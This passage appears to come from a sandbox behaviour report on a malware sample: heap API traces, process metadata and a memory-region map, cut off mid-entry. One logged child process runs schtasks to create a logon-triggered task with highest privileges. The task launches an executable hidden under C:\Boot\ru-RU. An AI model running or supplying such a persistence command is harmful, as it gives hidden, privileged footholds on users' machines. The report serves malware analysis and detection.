MemoryPointer=0x22d660) returned 0xe [0132.171] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22d660 | out: hHeap=0x210000) returned 1 [0132.171] GetProcessHeap () returned 0x210000 [0132.171] GetProcessHeap () returned 0x210000 [0132.171] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22cb70) returned 1 [0132.171] GetProcessHeap () returned 0x210000 [0132.171] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22cb70) returned 0x20 [0132.171] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22cb70 | out: hHeap=0x210000) returned 1 [0132.171] GetProcessHeap () returned 0x210000 [0132.171] GetProcessHeap () returned 0x210000 [0132.171] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x227a50) returned 1 [0132.171] GetProcessHeap () returned 0x210000 [0132.171] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x227a50) returned 0x30 [0132.172] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x227a50 | out: hHeap=0x210000) returned 1 [0132.172] GetProcessHeap () returned 0x210000 [0132.172] GetProcessHeap () returned 0x210000 [0132.172] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22cba0) returned 1 [0132.172] GetProcessHeap () returned 0x210000 [0132.172] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22cba0) returned 0x20 [0132.172] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22cba0 | out: hHeap=0x210000) returned 1 [0132.172] GetProcessHeap () returned 0x210000 [0132.172] GetProcessHeap () returned 0x210000 [0132.172] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x227a90) returned 1 [0132.172] GetProcessHeap () returned 0x210000 [0132.172] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x227a90) returned 0x30 [0132.173] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x227a90 | out: hHeap=0x210000) returned 1 [0132.173] GetProcessHeap () returned 0x210000 [0132.173] GetProcessHeap () returned 0x210000 [0132.173] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22cd50) returned 1 [0132.173] GetProcessHeap () returned 0x210000 [0132.173] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22cd50) returned 0x20 [0132.173] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22cd50 | out: hHeap=0x210000) returned 1 [0132.173] GetProcessHeap () returned 0x210000 [0132.173] GetProcessHeap () returned 0x210000 [0132.173] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22d580) returned 1 [0132.173] GetProcessHeap () returned 0x210000 [0132.173] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22d580) returned 0xe [0132.173] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22d580 | out: hHeap=0x210000) returned 1 [0132.173] GetProcessHeap () returned 0x210000 [0132.174] GetProcessHeap () returned 0x210000 [0132.174] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22cd20) returned 1 [0132.174] GetProcessHeap () returned 0x210000 [0132.174] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22cd20) returned 0x20 [0132.174] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22cd20 | out: hHeap=0x210000) returned 1 [0132.174] GetProcessHeap () returned 0x210000 [0132.174] GetProcessHeap () returned 0x210000 [0132.174] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22d5a0) returned 1 [0132.174] GetProcessHeap () returned 0x210000 [0132.174] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22d5a0) returned 0x16 [0132.174] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22d5a0 | out: hHeap=0x210000) returned 1 [0132.174] GetProcessHeap () returned 0x210000 [0132.174] GetProcessHeap () returned 0x210000 [0132.174] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22ccf0) returned 1 [0132.174] GetProcessHeap () returned 0x210000 [0132.174] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22ccf0) returned 0x20 [0132.175] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22ccf0 | out: hHeap=0x210000) returned 1 [0132.175] GetProcessHeap () returned 0x210000 [0132.175] GetProcessHeap () returned 0x210000 [0132.175] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22d5c0) returned 1 [0132.175] GetProcessHeap () returned 0x210000 [0132.175] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22d5c0) returned 0x16 [0132.175] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22d5c0 | out: hHeap=0x210000) returned 1 [0132.175] GetProcessHeap () returned 0x210000 [0132.175] GetProcessHeap () returned 0x210000 [0132.175] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22ccc0) returned 1 [0132.175] GetProcessHeap () returned 0x210000 [0132.175] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22ccc0) returned 0x20 [0132.175] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22ccc0 | out: hHeap=0x210000) returned 1 [0132.175] GetProcessHeap () returned 0x210000 [0132.175] GetProcessHeap () returned 0x210000 [0132.175] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x2499b0) returned 1 [0132.175] GetProcessHeap () returned 0x210000 [0132.175] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x2499b0) returned 0x82 [0132.176] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x2499b0 | out: hHeap=0x210000) returned 1 [0132.176] GetProcessHeap () returned 0x210000 [0132.176] GetProcessHeap () returned 0x210000 [0132.176] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22cc90) returned 1 [0132.176] GetProcessHeap () returned 0x210000 [0132.176] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22cc90) returned 0x20 [0132.176] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22cc90 | out: hHeap=0x210000) returned 1 [0132.176] GetProcessHeap () returned 0x210000 [0132.176] GetProcessHeap () returned 0x210000 [0132.176] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22d600) returned 1 [0132.176] GetProcessHeap () returned 0x210000 [0132.176] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22d600) returned 0xe [0132.177] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22d600 | out: hHeap=0x210000) returned 1 [0132.177] GetProcessHeap () returned 0x210000 [0132.177] GetProcessHeap () returned 0x210000 [0132.177] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22cc60) returned 1 [0132.177] GetProcessHeap () returned 0x210000 [0132.177] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22cc60) returned 0x20 [0132.177] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22cc60 | out: hHeap=0x210000) returned 1 [0132.177] GetProcessHeap () returned 0x210000 [0132.177] GetProcessHeap () returned 0x210000 [0132.177] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22d620) returned 1 [0132.177] GetProcessHeap () returned 0x210000 [0132.177] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22d620) returned 0xa [0132.178] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22d620 | out: hHeap=0x210000) returned 1 [0132.178] GetProcessHeap () returned 0x210000 [0132.178] GetProcessHeap () returned 0x210000 [0132.178] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22cc30) returned 1 [0132.178] GetProcessHeap () returned 0x210000 [0132.178] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22cc30) returned 0x20 [0132.178] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22cc30 | out: hHeap=0x210000) returned 1 [0132.178] GetProcessHeap () returned 0x210000 [0132.178] GetProcessHeap () returned 0x210000 [0132.178] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22d640) returned 1 [0132.178] GetProcessHeap () returned 0x210000 [0132.178] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22d640) returned 0xc [0132.178] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22d640 | out: hHeap=0x210000) returned 1 [0132.178] GetProcessHeap () returned 0x210000 [0132.178] GetProcessHeap () returned 0x210000 [0132.178] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22cc00) returned 1 [0132.178] GetProcessHeap () returned 0x210000 [0132.178] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22cc00) returned 0x20 [0132.179] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22cc00 | out: hHeap=0x210000) returned 1 [0132.179] GetProcessHeap () returned 0x210000 [0132.179] GetProcessHeap () returned 0x210000 [0132.179] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22b9f0) returned 1 [0132.179] GetProcessHeap () returned 0x210000 [0132.179] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22b9f0) returned 0x18 [0132.179] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22b9f0 | out: hHeap=0x210000) returned 1 [0132.179] GetProcessHeap () returned 0x210000 [0132.179] GetProcessHeap () returned 0x210000 [0132.179] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x2259f0) returned 1 [0132.179] GetProcessHeap () returned 0x210000 [0132.179] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x2259f0) returned 0x20 [0132.179] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x2259f0 | out: hHeap=0x210000) returned 1 [0132.180] GetProcessHeap () returned 0x210000 [0132.180] GetProcessHeap () returned 0x210000 [0132.180] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x225a20) returned 1 [0132.180] GetProcessHeap () returned 0x210000 [0132.180] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x225a20) returned 0x20 [0132.180] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x225a20 | out: hHeap=0x210000) returned 1 [0132.180] GetProcessHeap () returned 0x210000 [0132.180] GetProcessHeap () returned 0x210000 [0132.180] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x225a50) returned 1 [0132.180] GetProcessHeap () returned 0x210000 [0132.180] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x225a50) returned 0x20 [0132.180] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x225a50 | out: hHeap=0x210000) returned 1 [0132.181] GetProcessHeap () returned 0x210000 [0132.181] GetProcessHeap () returned 0x210000 [0132.181] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x225a80) returned 1 [0132.181] GetProcessHeap () returned 0x210000 [0132.181] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x225a80) returned 0x20 [0132.181] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x225a80 | out: hHeap=0x210000) returned 1 [0132.181] GetProcessHeap () returned 0x210000 [0132.181] GetProcessHeap () returned 0x210000 [0132.181] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22ba10) returned 1 [0132.181] GetProcessHeap () returned 0x210000 [0132.181] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22ba10) returned 0x18 [0132.181] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22ba10 | out: hHeap=0x210000) returned 1 [0132.181] GetProcessHeap () returned 0x210000 [0132.181] GetProcessHeap () returned 0x210000 [0132.181] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x225ab0) returned 1 [0132.181] GetProcessHeap () returned 0x210000 [0132.181] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x225ab0) returned 0x20 [0132.182] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x225ab0 | out: hHeap=0x210000) returned 1 [0132.182] GetProcessHeap () returned 0x210000 [0132.182] GetProcessHeap () returned 0x210000 [0132.182] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x225b40) returned 1 [0132.182] GetProcessHeap () returned 0x210000 [0132.182] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x225b40) returned 0x20 [0132.182] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x225b40 | out: hHeap=0x210000) returned 1 [0132.182] GetProcessHeap () returned 0x210000 [0132.182] GetProcessHeap () returned 0x210000 [0132.182] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x225ba0) returned 1 [0132.182] GetProcessHeap () returned 0x210000 [0132.182] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x225ba0) returned 0x20 [0132.183] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x225ba0 | out: hHeap=0x210000) returned 1 [0132.183] GetProcessHeap () returned 0x210000 [0132.183] GetProcessHeap () returned 0x210000 [0132.183] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x225c00) returned 1 [0132.183] GetProcessHeap () returned 0x210000 [0132.183] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x225c00) returned 0x20 [0132.183] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x225c00 | out: hHeap=0x210000) returned 1 [0132.183] GetProcessHeap () returned 0x210000 [0132.183] GetProcessHeap () returned 0x210000 [0132.183] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x225c30) returned 1 [0132.183] GetProcessHeap () returned 0x210000 [0132.183] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x225c30) returned 0x20 [0132.184] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x225c30 | out: hHeap=0x210000) returned 1 [0132.184] GetProcessHeap () returned 0x210000 [0132.184] GetProcessHeap () returned 0x210000 [0132.184] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22ba30) returned 1 [0132.184] GetProcessHeap () returned 0x210000 [0132.184] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22ba30) returned 0x18 [0132.184] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22ba30 | out: hHeap=0x210000) returned 1 [0132.184] GetProcessHeap () returned 0x210000 [0132.184] GetProcessHeap () returned 0x210000 [0132.184] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x225b70) returned 1 [0132.184] GetProcessHeap () returned 0x210000 [0132.184] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x225b70) returned 0x20 [0132.184] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x225b70 | out: hHeap=0x210000) returned 1 [0132.184] GetProcessHeap () returned 0x210000 [0132.184] GetProcessHeap () returned 0x210000 [0132.184] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22b9b0) returned 1 [0132.184] GetProcessHeap () returned 0x210000 [0132.184] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22b9b0) returned 0x18 [0132.185] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22b9b0 | out: hHeap=0x210000) returned 1 [0132.185] exit (_Code=0) Thread: id = 114 os_tid = 0xef8 Process: id = "15" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x44c85000" os_pid = "0xefc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"but inside save\" /sc ONLOGON /tr \"'C:\\Boot\\ru-RU\\but inside save.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1981 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1982 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1983 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1984 start_va = 0x200000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1985 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1986 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1987 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1988 start_va = 0xff120000 end_va = 0xff167fff monitored = 1 entry_point = 0xff14966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 1989 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1990 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1991 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1992 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1993 start_va = 0x280000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1994 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1995 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1996 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1997 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1998 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1999 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2000 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2001 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2002 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2003 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2004 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2005 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2006 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2007 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2008 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2009 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2010 start_va = 0xc0000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2011 start_va = 0x280000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 2012 start_va = 0x3d0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 2013 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2014 start_va = 0x160000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 2015 start_va = 0x4d0000 end_va = 0x657fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 2016 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2017 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2018 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2019 start_va = 0x660000 end_va = 0x7e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 2020 start_va = 0x7f0000 end_va = 0x1beffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 2021 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2022 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2023 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2024 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2025 start_va = 0x1bf0000 end_va = 0x1ebefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2026 start_va = 0x170000 end_va = 0x1ecfff monitored = 0 entry_point = 0x17cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2027 start_va = 0x170000 end_va = 0x1ecfff monitored = 0 entry_point = 0x17cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2028 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2029 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2030 start_va = 0x1ec0000 end_va = 0x202ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 2031 start_va = 0x1ec0000 end_va = 0x1f9efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ec0000" filename = "" Region: id = 2032 start_va = 0x1fb0000 end_va = 0x202ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 2033 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2034 start_va = 0x2080000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 2035 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2036 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2037 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2038 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2039 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2040 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2041 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2042 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = 